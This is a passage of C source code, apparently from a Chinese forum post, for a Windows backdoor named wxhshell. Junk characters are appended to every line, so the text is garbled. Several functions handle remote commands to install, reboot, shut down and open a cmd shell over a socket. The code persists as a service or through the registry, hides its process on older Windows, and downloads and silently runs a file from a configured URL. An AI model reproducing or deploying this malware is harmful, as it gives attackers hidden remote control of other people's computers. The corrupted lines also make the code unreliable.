    switch(cmd[0]) { -"Lia!Q]M  
  :Y y+%  
  // 帮助 #^<7VS!x  
  case '?': { N::_JH? ^=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `y0ZFh1>X  
    break; 00?^!';  
  } &bh?jW  
  // 安装 K>Fo+f  
  case 'i': { En+4@BC  
    if(Install()) +Es3iE @  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aMuc]Wy#  
    else 4 *He<2g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wf 13Ab  
    break; 1W8[ RET  
    } ^Ot+,l)  
  // 卸载 7u,56V?X  
  case 'r': { 3nd02:GF  
    if(Uninstall()) {#uX   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TuwH?{ FzK  
    else f'Wc_ L)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sBS\S  
    break; T_6,o[b8  
    } &of%;>$>M  
  // 显示 wxhshell 所在路径 Mp?Ev.  
  case 'p': { m^U\l9LE  
    char svExeFile[MAX_PATH]; )8ctNpQt  
    strcpy(svExeFile,"\n\r"); b'Z#RIb  
      strcat(svExeFile,ExeFile); _.J{U0N  
        send(wsh,svExeFile,strlen(svExeFile),0); ^w^cYM,  
    break; W6&" .2  
    } [:a;|t  
  // 重启 :~:(49l  
  case 'b': { Y1{6lhxgE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E8jdQS|i  
    if(Boot(REBOOT)) &AGV0{NMh]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &k&tkE  
    else { nE]R0|4h  
    closesocket(wsh); ^O#,%>1J  
    ExitThread(0); y2\, L  
    } T9{94Ra  
    break; VyCBJK  
    } "pdG%$  
  // 关机 _zJY1cr  
  case 'd': { "6 dC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rv;w`f  
    if(Boot(SHUTDOWN)) 0Z2![n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gi]Pwo${  
    else { dQ`ch~HVUW  
    closesocket(wsh); Il'+^u_ <  
    ExitThread(0); @s2z/ h0H  
    } yXc/Nl%  
    break; :2 ?dl:l  
    } $Xk1'AzB8  
  // 获取shell )eY3[>`  
  case 's': { cliP+#  
    CmdShell(wsh); n1DD+@  
    closesocket(wsh); n0@e%=H)I  
    ExitThread(0); L\nWhmwl  
    break; tLS5yT/  
  } L2P~moVIi  
  // 退出 ED[PP2[/  
  case 'x': { pb$U~TvzhM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -78 t0-lM  
    CloseIt(wsh); `P)atQ  
    break; B Gh%3"q  
    } _(<[!c!@0  
  // 离开 xlqRW"  
  case 'q': { u` `FD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "^zxq5u  
    closesocket(wsh); Z)|*mJ  
    WSACleanup(); E$4\Yc)(AL  
    exit(1); h?bm1e5kE  
    break; e}(ws~.  
        } %1@+pf/  
  } GasIOPzK  
  } `WC~cb\  
b0tr)>d  
  // 提示信息 ;-n+=@]7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mxq'A  
} 3Q~ng2Wv%  
  } puL1A?Y8UM  
|0B h  
  return; 0kQAT #  
} N02N w(pi  
fi:Z*-  
// shell模块句柄 Z99%uI3  
int CmdShell(SOCKET sock) hi*\5(uH  
{ rQ;m|@  
STARTUPINFO si; cDxjD5E  
ZeroMemory(&si,sizeof(si));  PZf^r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lk%rE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3vHEPm]  
PROCESS_INFORMATION ProcessInfo; O>Xyl4U  
char cmdline[]="cmd"; $a(wM1S4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [FAoC3 k-h  
  return 0; -_%n\#  
} kJlRdt2  
U"aFi  
// 自身启动模式 F4e<=R  
int StartFromService(void) d; oaG (e  
{ H^B/ '#mO  
typedef struct hoO8s#0ED  
{ $0AN5 |`g\  
  DWORD ExitStatus; S3P;@Rm  
  DWORD PebBaseAddress; zK}$W73W^  
  DWORD AffinityMask; !HY+6!hk  
  DWORD BasePriority; 1$q SbQ  
  ULONG UniqueProcessId; {E@Vh  
  ULONG InheritedFromUniqueProcessId; `V$i*{c:#  
}   PROCESS_BASIC_INFORMATION; FlrLXTx0  
X@\rg}kP  
PROCNTQSIP NtQueryInformationProcess; x!tCK47Yq  
[wjA8d.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L@ql)Lc);  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H--(zxK  
,-vbR&  
  HANDLE             hProcess; RoJ{ ou@cs  
  PROCESS_BASIC_INFORMATION pbi; &`Z>zT}  
w6qx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rKg5?.  
  if(NULL == hInst ) return 0; <Ktx*(D  
R3jhq3F\Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wx>BNlT@?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H`9E_[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Wepa;  
E/Q[J.$o  
  if (!NtQueryInformationProcess) return 0; z$QYl*F1  
TF^Rh4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); # yAt `  
  if(!hProcess) return 0; =CFO]9  
eXc`"T,C.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <omSK- T-  
qYl%v  
  CloseHandle(hProcess); 1Vp['&  
4@.qM6 \\q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Pn[-{nz  
if(hProcess==NULL) return 0; T5=3 jPQ  
N*f?A$u/I  
HMODULE hMod; {uM*.]  
char procName[255]; (ye1t96  
unsigned long cbNeeded; Y#=0C*FS  
O8w R#(/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N41)?-7F  
]L"jt8E  
  CloseHandle(hProcess); ,j:`yB]4,  
]t=m  
if(strstr(procName,"services")) return 1; // 以服务启动 Q=)$  
MXh0a@*]  
  return 0; // 注册表启动 `%ZM(9T  
} D. fP Hq  
pi*cO  
// 主模块 _rdEur C6  
int StartWxhshell(LPSTR lpCmdLine) DJdW$S7  
{ o+*YX!]#L  
  SOCKET wsl; ]]Sz|6P  
BOOL val=TRUE; AU -,  
  int port=0; V8@VR`!'  
  struct sockaddr_in door; tda#9i[pkH  
1Mn=m w  
  if(wscfg.ws_autoins) Install(); 6ey{+8  
I q]+O Q  
port=atoi(lpCmdLine); -|bnvPmE  
[_Fj2nb*  
if(port<=0) port=wscfg.ws_port; r5M {*  
]0p] u d&  
  WSADATA data; w &1_k:Z&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v6uR[18  
mEeD[dMN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0/5 a3-3{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Xia4I* *  
  door.sin_family = AF_INET; {$-lXw4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 97l<9^$  
  door.sin_port = htons(port); S~()A*5  
Q"7vzri  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "m,)3zND3  
closesocket(wsl); Y)H~*-vGu  
return 1; &OQ37(<_  
}  `fMdO  
aO)Cq5  
  if(listen(wsl,2) == INVALID_SOCKET) { @`xR1pXQ  
closesocket(wsl); 6|:K1bI)  
return 1; #J~   
} !k@ (}CN_*  
  Wxhshell(wsl); $ha,DlN  
  WSACleanup();  vX1 8 ]  
B6ee\23  
return 0; C$WUg<kcK'  
r&+8\/{  
} +i^@QNOa  
cZC%W!pT  
// 以NT服务方式启动 5QN~^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3w!8PPl  
{ 'tvX.aX2  
DWORD   status = 0; cQ}3? v  
  DWORD   specificError = 0xfffffff; xKl\:}Ytp  
AK$&'t+$}7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *ThP->&:(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4FQB%3>*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *Tc lc u  
  serviceStatus.dwWin32ExitCode     = 0; e_=TkG1E6  
  serviceStatus.dwServiceSpecificExitCode = 0; StLFq6BO  
  serviceStatus.dwCheckPoint       = 0; O{^8dwg  
  serviceStatus.dwWaitHint       = 0; ~H`m"4zQ  
i&mcM_g32  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); USd7g Oq(  
  if (hServiceStatusHandle==0) return; +a3H1 tt~  
jKr\mb  
status = GetLastError(); P^[eTR*?  
  if (status!=NO_ERROR) Z<D8{&AjS  
{ +2xgMN6B@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9Xl[AVs:M  
    serviceStatus.dwCheckPoint       = 0; sE^ee2]OI@  
    serviceStatus.dwWaitHint       = 0; B 703{k  
    serviceStatus.dwWin32ExitCode     = status; sU Er?TZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; &_cH9zw@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); HOt,G _{  
    return; Gb!R>WY  
  } 8ShIn@|32  
IC"Z.'Ph  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^+p7\D/E(  
  serviceStatus.dwCheckPoint       = 0; MHj RPh  
  serviceStatus.dwWaitHint       = 0;   6a}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); FD'yT8]"  
} /_SQKpic  
ibH!bS{  
// 处理NT服务事件,比如:启动、停止 hXnfZx%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B/O0 ~y!n  
{ (^pIB~.z  
switch(fdwControl) FYs]I0}|  
{ +[vI ocu  
case SERVICE_CONTROL_STOP: =j~BAS*"  
  serviceStatus.dwWin32ExitCode = 0; 8Sxk[`qx\K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m^%@bu,  
  serviceStatus.dwCheckPoint   = 0; 3_bqDhVI5  
  serviceStatus.dwWaitHint     = 0; 5'\detV_  
  { @U+#@6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); | |"W=E  
  } <@Z`<T6  
  return; }1 ,\ *)5  
case SERVICE_CONTROL_PAUSE: ]sTbEw.[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; s<>d& W 0=  
  break; qCkC 2Fy(  
case SERVICE_CONTROL_CONTINUE: v]Fw~Y7l!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "%}24t%  
  break; D%}rQ,*  
case SERVICE_CONTROL_INTERROGATE: .(RZ&*4  
  break; 6l'J!4*qY  
}; 3{)!T;Wd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8Kw, 1O:  
} f$76p!pDa  
]"/SU6#4:  
// 标准应用程序主函数 cgnMoBIc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5^D094J|^  
{ dGglt Y  
EHy15RL  
// 获取操作系统版本 u*f`\vs  
OsIsNt=GetOsVer(); a,36FF~&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jW]"Um-]  
Y'{}L@"t  
  // 从命令行安装 yg.o?eML  
  if(strpbrk(lpCmdLine,"iI")) Install(); Mw3$QRM  
2?Y8hm  
  // 下载执行文件 6f2?)jOW^N  
if(wscfg.ws_downexe) { 5,-g^o7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `dw">z,  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5o0n4W  
} o}DR p4;Ka  
4> uNH5  
if(!OsIsNt) { AR!v%Z49i  
// 如果时win9x,隐藏进程并且设置为注册表启动 E[WU  
HideProc(); 6cd!;Ca  
StartWxhshell(lpCmdLine); &?@[bD'T  
} A_l\ij$Y  
else ?N<,;~  
  if(StartFromService()) ~j>yQ%[v  
  // 以服务方式启动 O:sqm n  
  StartServiceCtrlDispatcher(DispatchTable); ep~+]7\  
else B `.aQ  
  // 普通方式启动 L pq)TE#  
  StartWxhshell(lpCmdLine); '<3h8\"  
qdLzB  
return 0; w[F})u]E  
}
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只看该作者 1 发表于: 2006-10-10
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